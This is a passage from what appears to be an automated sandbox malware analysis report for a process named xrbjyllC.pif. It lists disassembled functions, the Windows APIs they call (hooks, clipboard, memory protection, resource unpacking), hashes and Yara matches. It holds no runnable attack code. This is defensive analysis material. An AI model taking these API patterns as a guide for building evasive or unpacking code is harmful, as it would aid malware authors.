Instruction Fuzzy Hash: A5411D74A1039C9BDB21EB68DC84BDAB7FCAF2C200F4440E9A548EB245D7749F948F94

Function 031C1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6307ee7bebd612fe02839c2aee0327e121b4aa99b8254591bdcc55d2b8492c07
Instruction ID: 78741f44fc084d9953456c98ccf8394abf75bd5bbe0a59c320ca7fa56b3d574b
Opcode Fuzzy Hash: 6307ee7bebd612fe02839c2aee0327e121b4aa99b8254591bdcc55d2b8492c07
Instruction Fuzzy Hash: 8FA12A6A7B07802BD719EA7C9C943BDB3C19BEC221F1C427EE115CB387DB64C9558240

Function 031C94EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,031C95DA), ref: 031C9572
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,031C95DA), ref: 031C9578

Strings

yyyy, xrefs: 031C954D

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 86ee03b40dbe80eea66008a8d75616458c41e3c06d25822751eb228f025f3594
Instruction ID: 7abb9fb90d6b00a26aaf70e8e5255cde4cf629833601e295746017b6f5901b53
Opcode Fuzzy Hash: 86ee03b40dbe80eea66008a8d75616458c41e3c06d25822751eb228f025f3594
Instruction Fuzzy Hash: 49219575A242989FCB11DFA5C991AEEB3B8EF1D700F5500AEE805EB241DB30DE40CB65

Function 031D8338 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031D83C2), ref: 031D83A4

Strings

Kernel32, xrefs: 031D8383
FlushInstructionCache, xrefs: 031D8351

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: 1e28e7b9384fd85676e09bbbc51ccfa62977cf80042343b07f4c7e9ae62f293d
Instruction ID: 8e50328d216a961525fc3dd86171dcc3fe77241c468ad7d5433f9bd7066d6b26
Opcode Fuzzy Hash: 1e28e7b9384fd85676e09bbbc51ccfa62977cf80042343b07f4c7e9ae62f293d
Instruction Fuzzy Hash: 91016D79214348BFDB01EFA9EC51F9E7BACE74EA00F518060B918DA640DB70ED008625

Function 031DAF24 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 031DAF58
IsBadWritePtr.KERNEL32(?,00000004), ref: 031DAF88
IsBadReadPtr.KERNEL32(?,00000008), ref: 031DAFA7
IsBadReadPtr.KERNEL32(?,00000004), ref: 031DAFB3

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
Instruction ID: 77b025439c8a45173ca5e82249450474a13ad6a97929debc2d59175f8711268e
Opcode Fuzzy Hash: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
Instruction Fuzzy Hash: B921B4B1A40719ABDB10DF69CC80BAE73A9EF59311F044591FD149B384D734E81187A0

Analysis Process: xrbjyllC.pifPID: 4544, Parent PID: 4888COMMON

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	55.4%
Signature Coverage:	10.7%
Total number of Nodes:	401
Total number of Limit Nodes:	44

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

{, xrefs: 00401B4B
6, xrefs: 004020C5
!, xrefs: 0040201A
., xrefs: 0040201F
x, xrefs: 0040214A
v, xrefs: 0040206A
W, xrefs: 00401B23
o, xrefs: 00401B8D
v, xrefs: 00401B5A
{, xrefs: 00401E3C
{, xrefs: 0040205B
', xrefs: 00401AF6
[, xrefs: 00401B37
8, xrefs: 00401BA9
W, xrefs: 004020E6
{, xrefs: 0040211D
E, xrefs: 00401E0F
h, xrefs: 00401A6F
_._, xrefs: 00402257
v, xrefs: 00401E4B
o, xrefs: 00402159
', xrefs: 00402006
V, xrefs: 00402038
4, xrefs: 00402136
*, xrefs: 004020E1
x, xrefs: 00401E69
v, xrefs: 0040212C
x, xrefs: 00401B78
W, xrefs: 00402033
D, xrefs: 00401DFB
!, xrefs: 004020CF
), xrefs: 0040202E
W, xrefs: 00401B14
___, xrefs: 0040227D
[, xrefs: 00402047
*, xrefs: 00401A1F
:, xrefs: 00401B28
", xrefs: 00401B0F
V, xrefs: 00401E19
5, xrefs: 00402109
o, xrefs: 00402097
., xrefs: 00401B0A
4, xrefs: 00402074
U, xrefs: 004020F5
x, xrefs: 00402088
%, xrefs: 004020FA
4, xrefs: 00401B64
0, xrefs: 00401BBD
!, xrefs: 00401B1E

Memory Dump Source

Source File: 00000009.00000002.1859312320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1859312320.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1859312320.0000000000445000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78COMMON

Download Yara Rule

APIs

_fast_error_exit.LIBCMT ref: 0040CC41
__mtinit.LIBCMT ref: 0040CC47
_fast_error_exit.LIBCMT ref: 0040CC52
__RTC_Initialize.LIBCMT ref: 0040CC58
__ioinit.LIBCMT ref: 0040CC61
__amsg_exit.LIBCMT ref: 0040CC6C
GetCommandLineA.KERNEL32 ref: 0040CC72
___crtGetEnvironmentStringsA.LIBCMT ref: 0040CC7D
__setargv.LIBCMT ref: 0040CC87
__amsg_exit.LIBCMT ref: 0040CC92
__setenvp.LIBCMT ref: 0040CC98
__amsg_exit.LIBCMT ref: 0040CCA3
__cinit.LIBCMT ref: 0040CCAB
__amsg_exit.LIBCMT ref: 0040CCB6

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
String ID:
API String ID: 2598563909-0
Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 2DB85610 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 2DB8568E
GetCurrentThread.KERNEL32 ref: 2DB856CB
GetCurrentProcess.KERNEL32 ref: 2DB85708
GetCurrentThreadId.KERNEL32 ref: 2DB85761

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 90603652ac0461f7fbaba94812eb17fe7894eb10fb6934b9658f7b0403b322d0
Instruction ID: 2adb6f33cd6a0f62172af980cc78cf9c0f302246ee7969c0c5f31c3949a7f1c6
Opcode Fuzzy Hash: 90603652ac0461f7fbaba94812eb17fe7894eb10fb6934b9658f7b0403b322d0
Instruction Fuzzy Hash: 395145B49006498FDB04CFA9C588BAEBBF1EF48310F20C559E419B73A1D734A985CF66

Function 2DB8560A Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 2DB8568E
GetCurrentThread.KERNEL32 ref: 2DB856CB
GetCurrentProcess.KERNEL32 ref: 2DB85708
GetCurrentThreadId.KERNEL32 ref: 2DB85761

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 38b754197ebd9daf0e8cf51295f408839562e4dab40ae0b6497fde4d3314a098
Instruction ID: 8fb7bf020441906940ee7922e2126d17dc7e109299344209c5fa51598a767582
Opcode Fuzzy Hash: 38b754197ebd9daf0e8cf51295f408839562e4dab40ae0b6497fde4d3314a098
Instruction Fuzzy Hash: 545146B49006498FDB04CFA9C588BAEBBF1AF48310F208559E459B73A1D734A985CF66

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 2D81AE40 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1891215839.000000002D810000.00000040.00000800.00020000.00000000.sdmp, Offset: 2D810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d810000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b501236782a4fc8c2260e5c6b316f271b94066372a30b91d4f25931e78e8d012
Instruction ID: 1b5d4c77b0a4f9d71dc8f9f2d430b9ac6e6b6c24e2357f8ecca5e6c7cd5e3a73
Opcode Fuzzy Hash: b501236782a4fc8c2260e5c6b316f271b94066372a30b91d4f25931e78e8d012
Instruction Fuzzy Hash: 86410271E083958FC700CFB9D4047AEBBF1AF89310F14866AD548A7691DB789845CBE1

Function 2DB81947 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 2DB81A62

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 275ebecea4e09af61022e0b649836a4d3f1c69e081591467dcb506dd8f7f2d59
Instruction ID: eb3776bc65f31b6ec7af061aa2d529159c14ab171b8352f54c046f3a189d88bd
Opcode Fuzzy Hash: 275ebecea4e09af61022e0b649836a4d3f1c69e081591467dcb506dd8f7f2d59
Instruction Fuzzy Hash: 9251CEB1D10209DFDB14CFA9C990ADEBBB1FF48350F20852AE819AB220D7709981CF91

Function 2DB81950 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 2DB81A62

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 9563ea881886c29dce15194e2c788f77d2d70c7b2b2bfe52306956ca49eea286
Instruction ID: 95663e17d4d4cf32acf57df63524b8fd5767dfb46319ecfba477750ad616e73a
Opcode Fuzzy Hash: 9563ea881886c29dce15194e2c788f77d2d70c7b2b2bfe52306956ca49eea286
Instruction Fuzzy Hash: 0341BEB1D113099FDB14CFA9C990ADEBBB5FF48350F20852AE819AB221D7709981CF91

Function 2DB8541C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 2DB867A9

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: c19890655f6a9780d60ea5de19190ea808a10c092099d7fc19b82024712c761d
Instruction ID: bcf989a10a19a46d58d31c5257614c0e58bf44e44842fac5a3622fe38acf94c9
Opcode Fuzzy Hash: c19890655f6a9780d60ea5de19190ea808a10c092099d7fc19b82024712c761d
Instruction Fuzzy Hash: F4411BB9900285CFCB04CF59C494A9AFBF5FB88314F24C459E519AB321D734A941CFA1

Function 2DB87425 Relevance: 1.6, APIs: 1, Instructions: 72comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 2DB874B8

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 0d18ad52791c6909d22d7f627165147af1e0c20db8a962971b24992943af98d6
Instruction ID: b3cd0baa465da97ac9accc449a8a32dccc43ff19c0daa728f9af543af3531a0a
Opcode Fuzzy Hash: 0d18ad52791c6909d22d7f627165147af1e0c20db8a962971b24992943af98d6
Instruction Fuzzy Hash: D4310FB0E01249DFDB14CFA8CA94BDDBBF1EF08308F248059E404BB6A5D7749985CB61

Function 2DB87430 Relevance: 1.6, APIs: 1, Instructions: 71comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 2DB874B8

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 955ceae21cd82dba875c06ad8fd980457ebc967f5298a9556b7babb9952118b5
Instruction ID: 758070053e9c452ab2407728df62fcb6bd026edc2a00f25ec2c9f0f0c6898e27
Opcode Fuzzy Hash: 955ceae21cd82dba875c06ad8fd980457ebc967f5298a9556b7babb9952118b5
Instruction Fuzzy Hash: 683100B0901209DFDB14CF99C994BCEBBF5EB48308F248019E404BB2A4D774A985CBA5

Function 2DB85850 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2DB858DF

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4a035c0a857377ebd47e234ca38f537f2a14672006986f91da5985002c71211c
Instruction ID: e51cd6d8a2d5b29881949a40ea15eb80bb722a1da7490041ba05af8a4e0d3a8c
Opcode Fuzzy Hash: 4a035c0a857377ebd47e234ca38f537f2a14672006986f91da5985002c71211c
Instruction Fuzzy Hash: 0F21B2B5900259DFDB10CFAAD984ADEBBF5EB48310F14841AE954A7250D374A940CFA5

Function 2DB85858 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2DB858DF

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a24df097594bcb6b4e5d644d3a34f21fba6c3d987578f69f9aae5d21eb17f9d4
Instruction ID: cd7f9e01bfebc688fc1113d4a946e01783e91be04f2110ce304f3c98c5f2fed4
Opcode Fuzzy Hash: a24df097594bcb6b4e5d644d3a34f21fba6c3d987578f69f9aae5d21eb17f9d4
Instruction Fuzzy Hash: E521C2B59002599FDB10CFAAD984ADEBFF9EB48320F14841AE958A7350D374A940CFA5

Function 2D182239 Relevance: 1.6, APIs: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 2D1822B0

Memory Dump Source

Source File: 00000009.00000002.1890035907.000000002D180000.00000040.00000800.00020000.00000000.sdmp, Offset: 2D180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d180000_xrbjyllC.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 8d90cdf5a56939296a09f86f9d2ba3722914bbe7ec171691e3a7a98b7d51746d
Instruction ID: a2dd399d99bb697b31c4714136941d7e91e183ed4c34f6e995d7216e8fd5e6d4
Opcode Fuzzy Hash: 8d90cdf5a56939296a09f86f9d2ba3722914bbe7ec171691e3a7a98b7d51746d
Instruction Fuzzy Hash: 8A2124B5C0065A9BDB14CFA9C5447EEFBF0AB08320F10862AD858B7655D378AA40CFA5

Function 2DB88E20 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 2DB88E9B

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: bc8832fea6592a072345839f26260c6fcf728e7d889fa5a4d2fefb4998f321fc
Instruction ID: 05dd8180ea6aee351e3d3f31b7a7ab5f13f2d4e4da911d1918061104bf161ca5
Opcode Fuzzy Hash: bc8832fea6592a072345839f26260c6fcf728e7d889fa5a4d2fefb4998f321fc
Instruction Fuzzy Hash: B221E0B59002199FCB14DF9AD944BEEFBF5EB88320F10842AE459B7260C774A944CFA5

Function 2DB88E19 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 2DB88E9B

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 946653ed24013b4edfdd64c57dbde2dfc1a1823b928d0509ddb988578de4997b
Instruction ID: f5d51cfd79781dd1579f63a40bd9385fd53fa2745235ba1d2d8111c52b60b468
Opcode Fuzzy Hash: 946653ed24013b4edfdd64c57dbde2dfc1a1823b928d0509ddb988578de4997b
Instruction Fuzzy Hash: 292113B5900209CFCB14DF99D944BEEBBF4AB88320F10842AE469B7260C774A940CFA5

Function 2D182240 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 2D1822B0

Memory Dump Source

Source File: 00000009.00000002.1890035907.000000002D180000.00000040.00000800.00020000.00000000.sdmp, Offset: 2D180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d180000_xrbjyllC.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e266aab4097c2f5bf3b32e4b9410f9e5c409b2635b9e21fd86f7ace7a9037bc1
Instruction ID: 330acb4e3ed5edc6afbc8e2cbececede5f4709b29aca9a2ec4d2ba5af3f359c3
Opcode Fuzzy Hash: e266aab4097c2f5bf3b32e4b9410f9e5c409b2635b9e21fd86f7ace7a9037bc1
Instruction Fuzzy Hash: 1A1136B1C0065A9BDB14CF9AC540BEEFBF4BB48320F10812AD858B7654D338AA40CFA5

Function 27F693F0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 27F69464

Memory Dump Source

Source File: 00000009.00000002.1884960911.0000000027F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 27F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27f60000_xrbjyllC.jbxd

